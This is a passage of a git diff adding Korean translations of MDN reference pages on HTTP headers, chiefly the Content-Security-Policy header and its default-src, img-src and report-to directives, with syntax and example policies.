+<h2 id="예제">예제</h2>
+
+<pre>Content-Range: bytes 200-1000/67589
+</pre>
+
+<h2 id="기술_사양">기술 사양</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">기술 사양</th>
+ <th scope="col">제목</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7233", "Content-Range", "4.2")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Content-Range")}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>{{HTTPHeader("If-Range")}}</li>
+ <li>{{HTTPHeader("Range")}}</li>
+ <li>{{HTTPHeader("Content-Type")}}</li>
+ <li>{{HTTPStatus("206")}} <code>Partial Content</code></li>
+ <li>{{HTTPStatus("416")}} <code>Range Not Satisfiable</code></li>
+</ul>
diff --git a/files/ko/web/http/headers/content-security-policy/default-src/index.html b/files/ko/web/http/headers/content-security-policy/default-src/index.html
new file mode 100644
index 0000000000..d3c21caf18
--- /dev/null
+++ b/files/ko/web/http/headers/content-security-policy/default-src/index.html
@@ -0,0 +1,149 @@
+---
+title: 'CSP: default-src'
+slug: Web/HTTP/Headers/Content-Security-Policy/default-src
+translation_of: Web/HTTP/Headers/Content-Security-Policy/default-src
+---
+<div>
+<p>{{HTTPSidebar}}</p>
+
+<p>HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>default</strong></code><strong><code>-src</code></strong> 구문은 다른  CSP 구문이 정의되지 않았을때 이를 대체하는 용도로 사용됩니다.  as a fallback for the other CSP {{Glossary("fetch directive", "fetch directives")}}. 다음과 같은 구문이 없는 경우,  <code>default-src</code> 구문을 찾아서 사용합니다:</p>
+
+<ul>
+ <li>{{CSP("child-src")}}</li>
+ <li>{{CSP("connect-src")}}</li>
+ <li>{{CSP("font-src")}}</li>
+ <li>{{CSP("frame-src")}}</li>
+ <li>{{CSP("img-src")}}</li>
+ <li>{{CSP("manifest-src")}}</li>
+ <li>{{CSP("media-src")}}</li>
+ <li>{{CSP("object-src")}}</li>
+ <li>{{CSP("script-src")}}</li>
+ <li>{{CSP("style-src")}}</li>
+ <li>{{CSP("worker-src")}}</li>
+</ul>
+
+<table>
+ <tbody>
+ <tr>
+ <th scope="row">CSP version</th>
+ <td>1</td>
+ </tr>
+ <tr>
+ <th scope="row">Directive type</th>
+ <td>{{Glossary("Fetch directive")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntax">Syntax</h2>
+
+<p>하나 이상의 출처가 <code>default-src</code> 정책에 의해서 허용될 수 있습니다:</p>
+
+<pre>Content-Security-Policy: default-src &lt;source&gt;;
+Content-Security-Policy: default-src &lt;source&gt; &lt;source&gt;;
+</pre>
+
+<h3 id="Sources">Sources</h3>
+
+<p>&lt;source&gt; 에는 다음에 항목이 포함됩니다. </p>
+
+<dl>
+ <dt>&lt;host-source&gt;</dt>
+ <dd>부수적으로 <a href="/en-US/docs/URIs_and_URLs">URL scheme</a> 및/또는 port 번호가 포함된 도메인 또는 IP 주소와 같은 인터넷 호스트, 또한 사이트의 주소 및 포트에 와일트 카드를 사용할 수 도 있습니다 (<code>'*'</code>), 이를 사용하면 모든 주소 또는 포트에서의 유효함을 나타냅니다.<br>
+ 예:
+ <ul>
+ <li><code>http://*.example.com</code>:  <code>http:</code> 를 사용하는 모든 서브도메인에서 매칭됩</li>
+ <li><code>mail.example.com:443</code>: 443 포트로 mail.example.com에 접근하는 경우 매칭됨</li>
+ <li><code>https://store.example.com</code>: store.example.com를 <code>https:</code>로 접근하는 경우 매칭됨</li>
+ </ul>
+ </dd>
+ <dt>&lt;scheme-source&gt;</dt>
+ <dd> 'http:' 또는 'https:'와 같은 스키마.<strong> 콜론이 필수적이며, 작은 따음표는 사용하지 않아야 합니다.</strong>  스키마도 지정할 수 있습니다 (추천하지 않음).
+ <ul>
+ <li><code>data:</code><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs"><code>data:</code> URIs</a> 를 컨텐츠 출처로 허용합니다. 이것은 안전하지 않습니다. <em>공격자가 임의의 데이터를 주입할 수도 있기 때문에 script에는 사용하지 마십시오.</em></li>
+ <li><code>mediastream:</code><a href="/en-US/docs/Web/API/MediaStream_API"><code>mediastream:</code> URIs</a> 을 콘텐츠 출처로 허용합니다.</li>
+ <li><code>blob:</code><a href="/en-US/docs/Web/API/Blob"><code>blob:</code> URIs</a>을 콘텐츠 출처로 허용합니다.</li>
+ <li><code>filesystem:</code><a href="/en-US/docs/Web/API/FileSystem"><code>filesystem:</code> URIs</a> 을 콘텐츠 출처로 허용합니다.</li>
+ </ul>
+ </dd>
+ <dt><code>'self'</code></dt>
+ <dd>동일한 URL 체계와 포트를 포함하여 보호되는 파일의 원본을 참조합니다.  작은 따음표가 필수적으로 있어야 합니다. 일부 브라우저에서는 <code>blob</code> 와 <code>filesystem</code> 를 source 지시문에서 제외합니다. 이러한 콘텐츠 타입을 허용해야 하는 사이트는 데이터 attribute를 사용하여 지정할 수 있습니다.</dd>
+ <dt><code>'unsafe-inline'</code></dt>
+ <dd>인라인 {{HTMLElement("script")}} 태그, <code>javascript:</code> URLs, 인라인 이벤트 핸들러, 그리고 인라인 {{HTMLElement("style")}} 태그와 같은 인라인 요소들을 모두 허용합니다. 작은 따음표를 사용해야만 합니다.</dd>
+ <dt><code>'unsafe-eval'</code></dt>
+ <dd><code>eval()</code> 및 문자열에서 코드를 생성하는 함수의 사용을 허용합니다. 작은 따음표를 사용해야만 합니다.</dd>
+ <dt><code>'none'</code></dt>
+ <dd>아무것도 참조 되지 않습니다. 즉 아무런 URL도 매치되지 않습니다. 작은 따음표를 사용해야만 합니다.</dd>
+ <dt>'nonce-&lt;base64-value&gt;'</dt>
+ <dd>암호화 nonce 값을 이용하여 특정 인라인 스크립트에 대하여 허용합니다(nonce는 한번만 사용). 서버는 CSP정책을 전송할 때마다 고유한 nonce를 생성해야만 합니다. 리소스 정책을 우회하는 것은 간단한 일이기 때문에 의심 할 여지가 없는 nonce 값을 제공하는 것이 중요합니다. <a href="/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src#Unsafe_inline_script">unsafe inline script</a> 예제를 참고해주세요. nonce는 <code>'unsafe-inline'</code> 와 함께 사용할 경우 모던 브라우저에서는 사용하게 되면  <code>'unsafe-inline'</code>가 무시되지만, 구형 브라우저에서는 nonce가 적용되지 않습니다.</dd>
+ <dt>'&lt;hash-algorithm&gt;-&lt;base64-value&gt;'</dt>
+ <dd>스크립트 또는 스타일의  sha256, sha384 or sha512 해쉬. 이것은 대쉬: 로 구분된 해쉬를 사용된 암호화 알고리즘과 base64로 인코딩한 스크립트 및 스타일로 구성됩니다. 해쉬를 생성할 때 절대로 &lt;script&gt; 또는 &lt;style&gt; 태그를 포함하지말고 대소문자와 앞 뒤의 공백을 주의해야 합니다.<a href="/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src#Unsafe_inline_script">unsafe inline script</a> 예제를 참고해주세요. CSP 2.0에서는 인라인 스크립트에서만 적용 가능하지만,  CSP 3.0에서는 외부 스크립트를 <code>script-src</code> 에서 허용하기 위해서 사용합니다.</dd>
+ <dt>'strict-dynamic'</dt>
+ <dd>The <code>strict-dynamic</code> source expression specifies that the trust explicitly given to a script present in the markup, by accompanying it with a nonce or a hash, shall be propagated to all the scripts loaded by that root script. At the same time, any whitelist or source expressions such as <code>'self'</code> or <code>'unsafe-inline'</code> will be ignored. See <a href="/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src#strict-dynamic">script-src</a> for an example.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="default-src의_상속_불가"><code>default-src</code>의 상속 불가</h3>
+
+<p>다른 구문이 지정되면 default-src는 더 이상 영향을 주지 않습니다. 아래의 헤더는 </p>
+
+<pre>Content-Security-Policy: default-src 'self'; script-src https://example.com</pre>
+
+<p>다음과 같습니다:</p>
+
+<pre>Content-Security-Policy: connect-src 'self';
+ font-src 'self';
+ frame-src 'self';
+ img-src 'self';
+ manifest-src 'self';
+ media-src 'self';
+ object-src 'self';
+ script-src https://example.com;
+ style-src 'self';
+ worker-src 'self'</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table>
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{specName("CSP 3.0", "#directive-default-src", "default-src")}}</td>
+ <td>{{Spec2('CSP 3.0')}}</td>
+ <td>Added <code>frame-src</code>, <code>manifest-src</code> and <code>worker-src</code> as defaults.</td>
+ </tr>
+ <tr>
+ <td>{{specName("CSP 1.1", "#directive-default-src", "default-src")}}</td>
+ <td>{{Spec2('CSP 1.1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.csp.default-src")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Security-Policy")}}</li>
+ <li>{{CSP("connect-src")}}</li>
+ <li>{{CSP("font-src")}}</li>
+ <li>{{CSP("frame-src")}}</li>
+ <li>{{CSP("img-src")}}</li>
+ <li>{{CSP("manifest-src")}}</li>
+ <li>{{CSP("media-src")}}</li>
+ <li>{{CSP("object-src")}}</li>
+ <li>{{CSP("script-src")}}</li>
+ <li>{{CSP("style-src")}}</li>
+ <li>{{CSP("worker-src")}}</li>
+</ul>
+</div>
diff --git a/files/ko/web/http/headers/content-security-policy/img-src/index.html b/files/ko/web/http/headers/content-security-policy/img-src/index.html
new file mode 100644
index 0000000000..bd959a91db
--- /dev/null
+++ b/files/ko/web/http/headers/content-security-policy/img-src/index.html
@@ -0,0 +1,84 @@
+---
+title: 'CSP: img-src'
+slug: Web/HTTP/Headers/Content-Security-Policy/img-src
+translation_of: Web/HTTP/Headers/Content-Security-Policy/img-src
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>The HTTP {{HTTPHeader("Content-Security-Policy")}}<code>:</code> <code><strong>img</strong></code><strong><code>-src</code></strong> 지시어는 이미지 및 파비콘에 대하여 유효한 출처를 지정합니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">CSP version</th>
+ <td>1</td>
+ </tr>
+ <tr>
+ <th scope="row">Directive type</th>
+ <td>{{Glossary("Fetch directive")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{CSP("default-src")}} fallback</th>
+ <td>Yes. If this directive is absent, the user agent will look for the <code>default-src</code> directive.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntax">Syntax</h2>
+
+<p><code>img-src</code> 정책에 대해 하나 이상의 출처를 허용 할 수 있습니다.</p>
+
+<pre class="syntaxbox">Content-Security-Policy: img-src &lt;source&gt;;
+Content-Security-Policy: img-src &lt;source&gt; &lt;source&gt;;
+</pre>
+
+<h3 id="Sources">Sources</h3>
+
+<p>{{page("Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}}</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Violation_cases">Violation cases</h3>
+
+<p>CSP 헤더가 주어질 때:</p>
+
+<pre class="brush: bash">Content-Security-Policy: img-src https://example.com/</pre>
+
+<p>아래의 {{HTMLElement("img")}} 태그가 차단되어 불러오지 않습니다:</p>
+
+<pre class="brush: html">&lt;img src="https://not-example.com/foo.jpg" alt="example picture"&gt;</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{specName("CSP 3.0", "#directive-img-src", "img-src")}}</td>
+ <td>{{Spec2('CSP 3.0')}}</td>
+ <td>No changes.</td>
+ </tr>
+ <tr>
+ <td>{{specName("CSP 1.1", "#directive-img-src", "img-src")}}</td>
+ <td>{{Spec2('CSP 1.1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.csp.img-src")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Security-Policy")}}</li>
+ <li>{{HTMLElement("img")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/content-security-policy/index.html b/files/ko/web/http/headers/content-security-policy/index.html
new file mode 100644
index 0000000000..22c869ef5c
--- /dev/null
+++ b/files/ko/web/http/headers/content-security-policy/index.html
@@ -0,0 +1,259 @@
+---
+title: Content-Security-Policy
+slug: Web/HTTP/Headers/Content-Security-Policy
+tags:
+ - CSP
+ - HTTP
+ - Reference
+ - Security
+ - header
+translation_of: Web/HTTP/Headers/Content-Security-Policy
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>The HTTP <strong><code>Content-Security-Policy</code></strong> response header allows web site administrators to control resources the user agent is allowed to load for a given page. With a few exceptions, policies mostly involve specifying server origins and script endpoints. This helps guard against cross-site scripting attacks ({{Glossary("XSS")}}).</p>
+
+<p>For more information, see the introductory article on <a href="/en-US/docs/Web/HTTP/CSP">Content Security Policy (CSP)</a>.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Header type</th>
+ <td>{{Glossary("Response header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>no</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">Content-Security-Policy: &lt;policy-directive&gt;; &lt;policy-directive&gt;
+</pre>
+
+<h2 id="Directives">Directives</h2>
+
+<h3 id="Fetch_directives" name="Fetch_directives">{{Glossary("Fetch directive", "Fetch directives")}}</h3>
+
+<p>Fetch directives control locations from which certain resource types may be loaded.</p>
+
+<h4 id="List_of_Content_Security_Policy_Fetch_directives">List of Content Security Policy Fetch directives</h4>
+
+<dl>
+ <dt>{{CSP("child-src")}}</dt>
+ <dd>Defines the valid sources for <a href="/en-US/docs/Web/API/Web_Workers_API">web workers</a> and nested browsing contexts loaded using elements such as {{HTMLElement("frame")}} and {{HTMLElement("iframe")}}.
+ <div class="warning">
+ <p>Instead of <strong><code>child-src</code></strong>, authors who wish to regulate nested browsing contexts and workers should use the {{CSP("frame-src")}} and {{CSP("worker-src")}} directives, respectively.</p>
+ </div>
+ </dd>
+ <dt>{{CSP("connect-src")}}</dt>
+ <dd>Restricts the URLs which can be loaded using script interfaces</dd>
+ <dt>{{CSP("default-src")}}</dt>
+ <dd>Serves as a fallback for the other {{Glossary("Fetch directive", "fetch directives")}}.</dd>
+ <dt>{{CSP("font-src")}}</dt>
+ <dd>Specifies valid sources for fonts loaded using {{cssxref("@font-face")}}.</dd>
+ <dt>{{CSP("frame-src")}}</dt>
+ <dd>Specifies valid sources for nested browsing contexts loading using elements such as {{HTMLElement("frame")}} and {{HTMLElement("iframe")}}.</dd>
+ <dt>{{CSP("img-src")}}</dt>
+ <dd>Specifies valid sources of images and favicons.</dd>
+ <dt>{{CSP("manifest-src")}}</dt>
+ <dd>Specifies valid sources of application manifest files.</dd>
+ <dt>{{CSP("media-src")}}</dt>
+ <dd>Specifies valid sources for loading media using the {{HTMLElement("audio")}} , {{HTMLElement("video")}} and {{HTMLElement("track")}} elements.</dd>
+ <dt>{{CSP("object-src")}}</dt>
+ <dd>Specifies valid sources for the {{HTMLElement("object")}}, {{HTMLElement("embed")}}, and {{HTMLElement("applet")}} elements.</dd>
+ <dd class="note">Elements controlled by <code>object-src</code> are perhaps coincidentally considered legacy HTML elements and are not recieving new standardized features (such as the security attributes <code>sandbox</code> or <code>allow</code> for <code>&lt;iframe&gt;</code>). Therefore it is <strong>recommended</strong> to restrict this fetch-directive (e.g. explicitly set <code>object-src 'none'</code> if possible).</dd>
+ <dt>{{CSP("prefetch-src")}}{{experimental_inline}}</dt>
+ <dd>Specifies valid sources to be prefetched or prerendered.</dd>
+ <dt>{{CSP("script-src")}}</dt>
+ <dd>Specifies valid sources for JavaScript.</dd>
+ <dt>{{CSP("script-src-elem")}}{{experimental_inline}}</dt>
+ <dd>Specifies valid sources for JavaScript {{HTMLElement("script")}} elements.</dd>
+ <dt>{{CSP("script-src-attr")}}{{experimental_inline}}</dt>
+ <dd>Specifies valid sources for JavaScript inline event handlers.</dd>
+</dl>
+
+<dl>
+ <dt>{{CSP("style-src")}}</dt>
+ <dd>Specifies valid sources for stylesheets.</dd>
+ <dt>{{CSP("style-src-elem")}}{{experimental_inline}}</dt>
+ <dd>Specifies valid sources for stylesheets {{HTMLElement("style")}} elements and {{HTMLElement("link")}} elements with <code>rel="stylesheet"</code>.</dd>
+ <dt>{{CSP("style-src-attr")}}{{experimental_inline}}</dt>
+ <dd>Specifies valid sources for inline styles applied to individual DOM elements.</dd>
+ <dt>{{CSP("worker-src")}}{{experimental_inline}}</dt>
+ <dd>Specifies valid sources for {{domxref("Worker")}}, {{domxref("SharedWorker")}}, or {{domxref("ServiceWorker")}} scripts.</dd>
+</dl>
+
+<h3 id="Document_directives" name="Document_directives">{{Glossary("Document directive", "Document directives")}}</h3>
+
+<p>Document directives govern the properties of a document or <a href="/en-US/docs/Web/API/Web_Workers_API">worker</a> environment to which a policy applies.</p>
+
+<h4 id="List_of_Content_Security_Policy_Document_directives">List of Content Security Policy Document directives</h4>
+
+<dl>
+ <dt>{{CSP("base-uri")}}</dt>
+ <dd>Restricts the URLs which can be used in a document's {{HTMLElement("base")}} element.</dd>
+ <dt>{{CSP("plugin-types")}}</dt>
+ <dd>Restricts the set of plugins that can be embedded into a document by limiting the types of resources which can be loaded.</dd>
+ <dt>{{CSP("sandbox")}}</dt>
+ <dd>Enables a sandbox for the requested resource similar to the {{HTMLElement("iframe")}} {{htmlattrxref("sandbox", "iframe")}} attribute.</dd>
+</dl>
+
+<h3 id="Navigation_directives" name="Navigation_directives">{{Glossary("Navigation directive", "Navigation directives")}}</h3>
+
+<p>Navigation directives govern to which location a user can navigate to or submit a form to, for example.</p>
+
+<h4 id="List_of_Content_Security_Policy_Navigation_directives">List of Content Security Policy Navigation directives</h4>
+
+<dl>
+ <dt>{{CSP("form-action")}}</dt>
+ <dd>Restricts the URLs which can be used as the target of a form submissions from a given context.</dd>
+ <dt>{{CSP("frame-ancestors")}}</dt>
+ <dd>Specifies valid parents that may embed a page using {{HTMLElement("frame")}}, {{HTMLElement("iframe")}}, {{HTMLElement("object")}}, {{HTMLElement("embed")}}, or {{HTMLElement("applet")}}.</dd>
+ <dt>{{CSP("navigate-to")}}{{experimental_inline}}</dt>
+ <dd>Restricts the URLs to which a document can initiate navigation by any means, including {{HTMLElement("form")}} (if {{CSP("form-action")}} is not specified), {{HTMLElement("a")}}, {{DOMxRef("window.location")}}, {{DOMxRef("window.open")}}, etc.</dd>
+</dl>
+
+<h3 id="Reporting_directives" name="Reporting_directives">{{Glossary("Reporting directive", "Reporting directives")}}</h3>
+
+<p>Reporting directives control the reporting process of CSP violations. See also the {{HTTPHeader("Content-Security-Policy-Report-Only")}} header.</p>
+
+<h4 id="List_of_Content_Security_Policy_Reporting_directives">List of Content Security Policy Reporting directives</h4>
+
+<dl>
+ <dt>{{CSP("report-uri")}}{{deprecated_inline}}</dt>
+ <dd>Instructs the user agent to report attempts to violate the Content Security Policy. These violation reports consist of {{Glossary("JSON")}} documents sent via an HTTP <code>POST</code> request to the specified URI.
+ <div class="warning">
+ <p>Though the {{CSP("report-to")}} directive is intended to replace the deprecated <code><strong>report-uri</strong></code> directive, {{CSP("report-to")}} is not supported in most browsers yet. So for compatibility with current browsers while also adding forward compatibility when browsers get {{CSP("report-to")}} support, you can specify both <code><strong>report-uri</strong></code> and {{CSP("report-to")}}:</p>
+
+ <pre class="syntaxbox">Content-Security-Policy: ...; report-uri https://endpoint.example.com; report-to groupname</pre>
+
+ <p>In browsers that support {{CSP("report-to")}}, the <code><strong>report-uri</strong></code> directive will be ignored.</p>
+ </div>
+ </dd>
+ <dt>{{CSP("report-to")}}{{experimental_inline}}</dt>
+ <dd>Fires a <code>SecurityPolicyViolationEvent</code>.</dd>
+</dl>
+
+<h3 id="Other_directives">Other directives</h3>
+
+<dl>
+ <dt>{{CSP("block-all-mixed-content")}}</dt>
+ <dd>Prevents loading any assets using HTTP when the page is loaded using HTTPS.</dd>
+ <dt>{{CSP("referrer")}}{{deprecated_inline}}{{non-standard_inline}}</dt>
+ <dd>Used to specify information in the referer (sic) header for links away from a page. Use the {{HTTPHeader("Referrer-Policy")}} header instead.</dd>
+ <dt>{{CSP("require-sri-for")}}{{experimental_inline}}</dt>
+ <dd>Requires the use of {{Glossary("SRI")}} for scripts or styles on the page.</dd>
+ <dt>{{CSP("require-trusted-types-for")}}{{experimental_inline}}</dt>
+ <dd>Enforces <a href="https://w3c.github.io/webappsec-trusted-types/dist/spec/">Trusted Types</a> at the DOM XSS injection sinks.</dd>
+</dl>
+
+<dl>
+ <dt>{{CSP("trusted-types")}}{{experimental_inline}}</dt>
+ <dd>Used to specify a whitelist of <a href="https://w3c.github.io/webappsec-trusted-types/dist/spec/">Trusted Types</a> policies (Trusted Types allows applications to lock down DOM XSS injection sinks to only accept non-spoofable, typed values in place of strings).</dd>
+</dl>
+
+<dl>
+ <dt>{{CSP("upgrade-insecure-requests")}}</dt>
+ <dd>Instructs user agents to treat all of a site's insecure URLs (those served over HTTP) as though they have been replaced with secure URLs (those served over HTTPS). This directive is intended for web sites with large numbers of insecure legacy URLs that need to be rewritten.</dd>
+</dl>
+
+<h2 id="CSP_in_workers">CSP in workers</h2>
+
+<p><a href="/en-US/docs/Web/API/Worker">Workers</a> are in general <em>not</em> governed by the content security policy of the document (or parent worker) that created them. To specify a content security policy for the worker, set a <code>Content-Security-Policy</code> response header for the request which requested the worker script itself.</p>
+
+<p>The exception to this is if the worker script's origin is a globally unique identifier (for example, if its URL has a scheme of data or blob). In this case, the worker does inherit the content security policy of the document or worker that created it.</p>
+
+<h2 id="Multiple_content_security_policies">Multiple content security policies</h2>
+
+<p>CSP allows multiple policies being specified for a resource, including via the <code>Content-Security-Policy</code> header, the {{HTTPHeader("Content-Security-Policy-Report-Only")}} header and a {{HTMLElement("meta")}} element.</p>
+
+<p>You can use the <code>Content-Security-Policy</code> header more than once like in the example below. Pay special attention to the {{CSP("connect-src")}} directive here. Even though the second policy would allow the connection, the first policy contains <code>connect-src 'none'</code>. Adding additional policies <em>can only further restrict</em> the capabilities of the protected resource, which means that there will be no connection allowed and, as the strictest policy, <code>connect-src 'none'</code> is enforced.</p>
+
+<pre>Content-Security-Policy: default-src 'self' http://example.com;
+ connect-src 'none';
+Content-Security-Policy: connect-src http://example.com/;
+ script-src http://example.com/</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<p>Example: Disable unsafe inline/eval, only allow loading of resources (images, fonts, scripts, etc.) over https:</p>
+
+<pre>// header
+Content-Security-Policy: default-src https:
+
+// meta tag
+&lt;meta http-equiv="Content-Security-Policy" content="default-src https:"&gt;
+</pre>
+
+<p>Example: Pre-existing site that uses too much inline code to fix but wants to ensure resources are loaded only over https and disable plugins:</p>
+
+<pre>Content-Security-Policy: default-src https: 'unsafe-eval' 'unsafe-inline'; object-src 'none'</pre>
+
+<p>Example: Do not implement the above policy yet; instead just report violations that would have occurred:</p>
+
+<pre>Content-Security-Policy-Report-Only: default-src https:; report-uri /csp-violation-report-endpoint/</pre>
+
+<p>See <a href="https://infosec.mozilla.org/guidelines/web_security#Examples_5">Mozilla Web Security Guidelines</a> for more examples.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{specName("CSP 3.0")}}</td>
+ <td>{{Spec2("CSP 3.0")}}</td>
+ <td>Adds <code>manifest-src</code>, <code>navigate-to</code>, <code>report-to</code>, <code>strict-dynamic</code>, <code>worker-src</code>. Undeprecates <code>frame-src</code>. Deprecates <code>report-uri</code> in favor if <code>report-to</code>.</td>
+ </tr>
+ <tr>
+ <td>{{specName("Mixed Content")}}</td>
+ <td>{{Spec2("Mixed Content")}}</td>
+ <td>Adds <code>block-all-mixed-content</code>.</td>
+ </tr>
+ <tr>
+ <td>{{specName("Subresource Integrity")}}</td>
+ <td>{{Spec2("Subresource Integrity")}}</td>
+ <td>Adds <code>require-sri-for</code>.</td>
+ </tr>
+ <tr>
+ <td>{{specName("Upgrade Insecure Requests")}}</td>
+ <td>{{Spec2("Upgrade Insecure Requests")}}</td>
+ <td>Adds <code>upgrade-insecure-requests</code>.</td>
+ </tr>
+ <tr>
+ <td>{{specName("CSP 1.1")}}</td>
+ <td>{{Spec2("CSP 1.1")}}</td>
+ <td>Adds <code>base-uri</code>, <code>child-src</code>, <code>form-action</code>, <code>frame-ancestors</code>, <code>plugin-types</code>, <code>referrer</code>, and <code>report-uri</code>. Deprecates <code>frame-src</code>.</td>
+ </tr>
+ <tr>
+ <td>{{specName("CSP 1.0")}}</td>
+ <td>{{Spec2("CSP 1.0")}}</td>
+ <td>Defines <code>connect-src</code>, <code>default-src</code>, <code>font-src</code>, <code>frame-src</code>, <code>img-src</code>, <code>media-src</code>, <code>object-src</code>, report-uri, <code>sandbox</code>, <code>script-src,</code> and <code>style-src</code>.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.csp.Content-Security-Policy")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Security-Policy-Report-Only")}}</li>
+ <li><a href="/en-US/docs/Web/HTTP/CSP">Learn about: Content Security Policy</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_Security_Policy">Content Security in WebExtensions</a></li>
+ <li><a href="https://csp.withgoogle.com/docs/strict-csp.html">Adopting a strict policy</a></li>
+ <li><a href="https://csp-evaluator.withgoogle.com/">CSP Evaluator</a> - Evaluate your Content Security Policy</li>
+</ul>
diff --git a/files/ko/web/http/headers/content-security-policy/report-to/index.html b/files/ko/web/http/headers/content-security-policy/report-to/index.html
new file mode 100644
index 0000000000..2fe0b56b97
--- /dev/null
+++ b/files/ko/web/http/headers/content-security-policy/report-to/index.html
@@ -0,0 +1,80 @@
+---
+title: report-to
+slug: Web/HTTP/Headers/Content-Security-Policy/report-to
+translation_of: Web/HTTP/Headers/Content-Security-Policy/report-to
+---
+<p> </p>
+
+<p><dfn><code>Report-To</code></dfn> HTTP 응답 해더 필드는 사용자 에이전트(브라우저)가 레포트를 저장하기 위한 origin의 엔드포인트를 지정합니다.</p>
+
+<pre>Content-Security-Policy: ...; report-to groupname
+</pre>
+
+<p> </p>
+
+<p>이 지시어 자체로는 효과는 없지만 다른 지시문과 조합하여 의미를 가질 수 있습니다.</p>
+
+<table>
+ <tbody>
+ <tr>
+ <th scope="row">CSP version</th>
+ <td>1</td>
+ </tr>
+ <tr>
+ <th scope="row">Directive type</th>
+ <td>{{Glossary("Reporting directive")}}</td>
+ </tr>
+ <tr>
+ <th colspan="2" scope="row">This directive is not supported in the {{HTMLElement("meta")}} element.</th>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre>Content-Security-Policy: report-to &lt;json-field-value&gt;;</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<p>더 자세한 정보와 예제는 {{HTTPHeader("Content-Security-Policy-Report-Only")}} 를 확인하세요.</p>
+
+<pre><a href="http://wicg.github.io/reporting/#report-to" id="ref-for-report-to①">Report-To</a>: { "<a href="http://wicg.github.io/reporting/#group" id="ref-for-group①">group</a>": "csp-endpoint",
+ "<a href="http://wicg.github.io/reporting/#max-age" id="ref-for-max-age①">max-age</a>": 10886400,
+ "<a href="http://wicg.github.io/reporting/#endpoints" id="ref-for-endpoints②">endpoints</a>": [
+ { "<a href="http://wicg.github.io/reporting/#url" id="ref-for-url②">url</a>": "https://example.com/csp-reports" }
+ ] },
+ { "<a href="http://wicg.github.io/reporting/#group" id="ref-for-group②">group</a>": "hpkp-endpoint",
+ "<a href="http://wicg.github.io/reporting/#max-age" id="ref-for-max-age②">max-age</a>": 10886400,
+ "<a href="http://wicg.github.io/reporting/#endpoints" id="ref-for-endpoints③">endpoints</a>": [
+ { "<a href="http://wicg.github.io/reporting/#url" id="ref-for-url③">url</a>": "https://example.com/hpkp-reports" }
+ ] }
